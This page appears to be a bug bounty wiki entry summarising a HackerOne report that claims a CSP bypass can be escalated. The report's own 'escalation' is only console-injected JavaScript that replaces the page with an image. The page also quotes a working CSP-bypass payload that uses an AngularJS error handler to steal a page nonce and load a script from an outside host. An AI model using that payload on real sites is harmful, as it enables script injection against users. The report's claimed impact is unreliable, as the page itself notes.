CSP Bypass and escalation of https://hackerone.com/reports/2279346
The report claims that a previously fixed CSP bypass on a website can still be escalated using a different script that loads an image, because the CSP header does not restrict image sources. The author asserts an attacker could inject a script that replaces the page body with an image, but no concrete security impact is demonstrated.
Originally disclosed on HackerOne
- Disclosed after 10 hours
Hello Team ,
I have gone through this report https://hackerone.com/reports/2279346 and their is CSP bypass where website has implemented security in that but after this i can escalate Again CSP bypass with using different Script .
As shown in https://hackerone.com/reports/2279346 report website rectify the scripts like:
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script> <img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector("[nonce]");b=w.createElement("script");b.src="//joaxcar.com/hack.js";b.nonce=a.nonce;w.body.appendChild(b)'> </div> ">`But their is new way where i can escalate the bug with new script which is :
var demo=document.createElement("img"); demo.src="https://i.ytimg.com/vi/0vxCFIGCqnI/maxresdefault.jpg"; document.body.innerHTML="";demo.width="1000"; demo.height="1000"; document.body.appendChild(demo);
F3074920
Steps: Go to https://portswigger.net/ Inject the script in console tab and see the impact
In this website configuration on CSP header is not proper . In my attachment their is no header for img in CSP . So attacker can escalate the bug again with different scripts. F3074919
Thanks Priyanshu
Impact
Escalate the bug with new script
CSP bypass using img script.
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the CSP lacks a directive restricting image sources, so injected markup can load images from arbitrary origins.
Impact
The author claims the bug can be escalated with a different script, but the demonstrated script only replaces the page body with an image and does not show code execution or data theft.
What the attacker needed
Ability to inject markup into the page
The fix
The CSP should be tightened so that image sources are restricted.
How it was found
- Open the target website.
- Paste the script into the browser console.
- Observe the effect on the page.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A Content Security Policy (CSP) is a set of rules a website sends to the browser saying which scripts, images and other resources are allowed to load. If the rules are too loose, an attacker who can inject some content into a page may be able to run their own code. This report says the image rule is missing, but it does not show how that alone lets an attacker do anything harmful.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.